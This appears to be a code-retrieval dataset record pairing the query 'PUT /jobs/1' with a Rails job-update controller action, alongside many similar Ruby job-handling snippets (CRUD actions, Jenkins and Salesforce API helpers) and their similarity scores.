"def job_params\n params.require(:job).permit(:name, :target, :current, :status)\n end",
"def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end",
"def create\n http = Net::HTTP.new(\"#{@server_instance}.salesforce.com\", 443)\n http.use_ssl = true\n\n job_request = generate_create_request.lstrip\n logger.debug job_request\n response = http.post('/services/async/21.0/job',\n job_request,\n {\"Content-Type\" => \"application/xml;charset=UTF-8\", \"X-SFDC-Session\" => @session_id})\n\n return response.body if response.class != Net::HTTPCreated\n\n job_response = JobResponse.fromXML(response.body)\n @sf_job_id = job_response.job_id\n job_response\n end",
"def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def get_jobs_sample(client)\n response = client['jobs'].get\n\n p ''\n p 'Get jobs'\n p response\nend",
"def job_params\n params.require(:job).permit(:title, :description, :name, :email, :category, :deadline)\n end",
"def jobs_post(body, opts = {})\n data, status_code, headers = jobs_post_with_http_info(body, opts)\n return data\n end",
"def print_job_sample(client)\n response = client[\"jobs/#{$job_id}/print\"].put nil\n\n p ''\n p 'Print a job'\n p response\nend",
"def create\n @create_job = CreateJob.new(create_job_params)\n\n respond_to do |format|\n if @create_job.save\n format.html { redirect_to @create_job, notice: 'Create job was successfully created.' }\n format.json { render :show, status: :created, location: @create_job }\n else\n format.html { render :new }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @act_job = ActJob.new(act_job_params)\n\n respond_to do |format|\n if @act_job.save\n format.html { redirect_to @act_job, notice: 'Act job was successfully created.' }\n format.json { render :show, status: :created, location: @act_job }\n else\n format.html { render :new }\n format.json { render json: @act_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @findjob = Findjob.new(findjob_params)\n\n respond_to do |format|\n if @findjob.save\n format.html { redirect_to @findjob, notice: 'Findjob was successfully created.' }\n format.json { render :show, status: :created, location: @findjob }\n else\n format.html { render :new }\n format.json { render json: @findjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_status = JobStatus.new(params[:job_status])\n\n respond_to do |format|\n if @job_status.save\n flash[:notice] = 'JobStatus was successfully created.'\n format.html { redirect_to([:admin, @job_status]) }\n format.xml { render :xml => @job_status, :status => :created, :location => @job_status }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job_status.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n if params[:job][:staff].present?\n params[:job][:staff].each do |s|\n @job.staff << Staff.where(id: s)\n end\n end\n if params[:job][:contractor].present?\n @job.contractor = Contractor.find(params[:job][:contractor])\n end\n if params[:job][:date_completed].present? and params[:job][:date_payment_recv].present? and params[:job][:date_completed] <= Time.now and params[:job][:date_payment_recv] <= Time.now\n @job.status = 0\n end\n puts @job.inspect\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n # after @job.save, initially the job is in a \"pending\" state.\n @job.initialize_job_parameters \n @job.nextstep! # pending - > launch_pending\n logger.debug( 'initiating background cluster launch...' ) \n # job state is now \"launching_instances\"... \n Delayed::Job.enqueue ClusterLaunchJob.new(@job) \n flash[:notice] = 'Job was successfully submitted.' \n\n format.html { redirect_to(jobs_url) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n format.json { render :json => @job, :status => :created, :location => @job } \n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @node = @job.nodes.build \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n format.json { render :json => @node } \n end\n end",
"def job_params\n params.require(:job).permit(:titolo, :sito_web, :email, :descrizione, :nome_azienda)\n end",
"def create\n flash[:notice] = 'Job Created' if @job_category.jobs.create params[:job]\n respond_with @job.job_category, @job\n end",
"def export_jobs(project, format = 'yaml', options = {})\n unless format =~ /yaml|xml/\n fail Error::InvalidAttributes, 'format must be yaml or xml'\n end\n options[:query] = {} if options[:query].nil?\n options[:query].merge!('project' => project, 'format' => format)\n options[:format] = format\n\n get('/jobs/export', options)\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end"
] |
[
"0.6847216",
"0.6769806",
"0.6390787",
"0.6271662",
"0.62408996",
"0.623112",
"0.6220346",
"0.62202764",
"0.61930704",
"0.61842257",
"0.61842257",
"0.61842257",
"0.61842257",
"0.6176608",
"0.6159866",
"0.61387354",
"0.61259687",
"0.6044265",
"0.60097986",
"0.60044014",
"0.59848547",
"0.59519434",
"0.59239995",
"0.59173816",
"0.5905101",
"0.5882611",
"0.5865661",
"0.5843758",
"0.58378845",
"0.583621",
"0.58353215",
"0.58255166",
"0.5814983",
"0.5794246",
"0.5794246",
"0.5794246",
"0.5791247",
"0.57868326",
"0.5785707",
"0.57853353",
"0.5765309",
"0.5754335",
"0.5746185",
"0.5744035",
"0.57352364",
"0.5728426",
"0.57251984",
"0.57096505",
"0.5704218",
"0.56966263",
"0.5693658",
"0.5685915",
"0.5680155",
"0.56697845",
"0.56650007",
"0.56643057",
"0.56592685",
"0.5658721",
"0.5655188",
"0.5655188",
"0.5655188",
"0.5645878",
"0.5638946",
"0.5631514",
"0.5616732",
"0.5609388",
"0.5602307",
"0.5598845",
"0.5593225",
"0.5590093",
"0.5585342",
"0.55736697",
"0.55638516",
"0.55596143",
"0.5559342",
"0.55523545",
"0.55507267",
"0.5548993",
"0.554443",
"0.55398065",
"0.552393",
"0.55218905",
"0.5520184",
"0.55187184",
"0.55173033",
"0.551124",
"0.55108356",
"0.5509686",
"0.55077946",
"0.55057997",
"0.5500915",
"0.54998547",
"0.5495091",
"0.5495091",
"0.5495091",
"0.5495091",
"0.5495091",
"0.5495091",
"0.5495091",
"0.5495091",
"0.5495091"
] |
0.0
|
-1
|
PUT /jobs/1 PUT /jobs/1.xml
|
def update
@job = Job.find(params[:id])
#@job.last_finish = nil
@job.started_once = false
respond_to do |format|
if @job.update_attributes(params[:job])
if @job.childs
recursive_change_supplier(@job, @job.supplier)
end
format.html { redirect_to(@job.parent.present? ? supplier_job_path(params[:supplier_id], @job.parent.id) : supplier_jobs_path(params[:supplier_id]), :notice => 'Задача успешно обновлена') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @job.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job(job:)\n response = HTTParty.put(\"#{@host}/api/jobs/#{job[:id]}\", body: {job: job, api_key: @api_key})\n \n return response.success?\n end",
"def update\n @job = Job.find(params[:id])\n if @job.update_attributes(params[:job])\n response_message = {:message => \"Job updated successfully.\", :job => @job}\n else\n response_message = {:message => \"Job updation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message }\n format.json { render :json => response_message }\n end\n end",
"def update(id, job)\n connection.put do |req|\n req.url \"job/#{id}\"\n req.body = job\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(@job, :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n # FIXME: this should use retry_it\n xml = render_template\n begin\n print \"Updating #{job_name}\\n\"\n xml_debug(xml) if @debug\n Jenkins.job.create_or_update(job_name, xml)\n rescue => e\n # FIXME: use retry_it to fail after a number of tries\n puts e\n retry\n end\n job_name\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors.to_xml }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(@job, :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(@job, :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n job = Job.find(params[:id])\n job.update_attributes(job_params)\n render json: job\n end",
"def update\n @job = Job.find(params[:id])\n \n # todo:\n # add permission checking here\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(edit_admin_job_path(@job), :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_job_config(job_name, xml)\n jobs.update(job_name, xml.to_s)\n end",
"def action_update\n if job_exists\n post_job(job_url)\n else\n post_job(new_job_url)\n end\nend",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n format.json { head :ok } \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity } \n end\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @job = current_member.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(job_params)\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n if @job.update_attributes(params[:job])\n flash[:success] = \"The job has been updated!\"\n redirect_to root_url\n end\n\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update #:nodoc:\n job = Job.find(params[:id])\n job.enter(params[:status], params, request.headers)\n respond_with job, location: api_job_url(job)\n end",
"def update\n begin\n @job_request = job_requests.find( params[ :id ] )\n rescue ActiveRecord::RecordNotFound\n @job_request = nil\n end\n\n respond_to do |format|\n if @job_request && @job_request.update_attributes( params[ :job_request ] )\n format.html { redirect_to root_path, notice: \"Job Requests Updated Successfully\"}\n format.json { head :no_content }\n else\n format.html { redirect_to root_path, notice: \"Update Failed\" }\n format.json { render json: @job_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n @job.update({\n name: params[:job][:name],\n description: params[:job][:description],\n origin: params[:job][:origin],\n destination: params[:job][:destination],\n cost: params[:job][:cost],\n containers_needed: params[:job][:containers_needed]\n })\n\n if (@job)\n redirect_to url_for(:controller => :jobs, :action => :index)\n else\n redirect_to url_for(:controller => :jobs, :action => :edit)\n end\n end",
"def update\n @job = Mugen::Job.update(params[:id])\n \n redirect_to mygengo_jobs_path\n end",
"def update\n @job = Job.find_by_permalink!(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = current_user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = t('jobs_controller.update.success')\n format.html { redirect_to @job}\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if UbiquoJobs.manager.update(params[:id], params[:job])\n flash[:notice] = t(\"ubiquo.jobs.job_edited\")\n format.html { redirect_to(ubiquo.jobs_path) }\n format.xml { head :ok }\n format.js\n else\n flash[:error] = t(\"ubiquo.jobs.cant_edit\")\n format.html { render :action => \"edit\" }\n format.xml { render :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n #@job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: \"Job was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to app_jobs_path, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n record_activity :update, @job\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def start_job\n associate(Wesabe::Job.from_xml(Hpricot::XML(post(:url => \"/credentials/#{id}/jobs.xml\")) / :job))\n end",
"def update\n byebug\n respond_to do |format|\n if @job.update(send(\"#{@job.type.underscore.to_sym}_params\"))\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully accepted.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_status = JobStatus.find(params[:id])\n\n respond_to do |format|\n if @job_status.update_attributes(params[:job_status])\n flash[:notice] = 'JobStatus was successfully updated.'\n format.html { redirect_to([:admin, @job_status]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job_status.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, success: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_jenkins_job(name, xml_file)\n create_url = \"http://#{Pkg::Config.jenkins_build_host}/createItem?name=#{name}\"\n form_args = [\"-H\", '\"Content-Type: application/xml\"', \"--data-binary\", \"@#{xml_file}\"]\n curl_form_data(create_url, form_args)\n \"http://#{Pkg::Config.jenkins_build_host}/job/#{name}\"\nend",
"def create_batch_job(job_id)\n request = Net::HTTP::Put.new(\"/jobs/#{job_id}\")\n response = http.request(request)\n handle_response({ request_method: request.method, request_path: request.path }, response)\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to jobs_path, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: \"Job was successfully updated.\" }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n if @job_item.update_attributes(params[:job_item])\n format.html { redirect_to [@job, @job_item], notice: 'Job item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n case params[:status]\n when \"requested\"\n @job.status :requested\n when \"printed\"\n @job.status :printed\n when \"paid\"\n @job.status :paid\n end\n \n @job.save\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @saved_job = SavedJob.find(params[:id])\n\n respond_to do |format|\n if @saved_job.update_attributes(params[:saved_job])\n format.html { redirect_to @saved_job, :notice => 'Saved job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @saved_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to root_path, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @myjob.update(myjob_params)\n format.html { redirect_to @myjob, notice: 'Myjob was successfully updated.' }\n format.json { render :show, status: :ok, location: @myjob }\n else\n format.html { render :edit }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_job_content_sample(client)\n job_multipart = {\n :file => File.new($full_path),\n 'num copies' => 10\n }\n\n response = client['jobs'].post job_multipart\n\n p ''\n p 'Submit a new job'\n p response\nend",
"def update\n @job_title = JobTitle.find(params[:id])\n\n respond_to do |format|\n if @job_title.update_attributes(params[:job_title])\n flash[:notice] = 'JobTitle was successfully updated.'\n format.html { redirect_to(@job_title) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job_title.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @create_job.update(create_job_params)\n format.html { redirect_to @create_job, notice: 'job was successfully updated.' }\n format.json { render :show, status: :ok, location: @create_job }\n else\n format.html { render :edit }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_folio = JobFolio.find(params[:id])\n\n respond_to do |format|\n if @job_folio.update_attributes(params[:job_folio])\n format.html { redirect_to @job_folio, notice: 'Job folio was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_folio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_job xml, name\n\t\t\tputs \"==> Creating job for project: '#{name}'\"\n\t\t\tbegin\n\t\t\t\tcreate_response = RestClient.post \"#{@jenkins_host}:#{@jenkins_port}/createItem/?name=#{name}\", xml , {:content_type => :xml}\n\t\t\t\treturn create_response.code.to_s\n\t\t\trescue Exception => e\n\t\t\t\tputs \"==> Error creating job #{name}\"\n\t\t\t\treturn \"500\"\n\t\t\tend\n\t\tend",
"def update\n @training_active_job = Training::ActiveJob.find(params[:id])\n\n respond_to do |format|\n if @training_active_job.update_attributes(params[:training_active_job])\n format.html { redirect_to @training_active_job, notice: 'Active job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @training_active_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def update_process(job_id:, step:, status:, msg:)\n HTTParty.get(\"#{@host}/api/process/#{job_id}\", query: {\n process_code: @process_code,\n step: step,\n status: status,\n msg: msg,\n api_key: @api_key\n })\n end",
"def update\n if @job.update(job_params)\n @job.update(category: @category)\n @job.update(keywords: @keywords)\n render json: @job, status: :accepted\n else\n render json: @job.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @pending_job.update(pending_job_params)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully updated.' }\n format.json { render :show, status: :ok, location: @pending_job }\n else\n format.html { render :edit }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
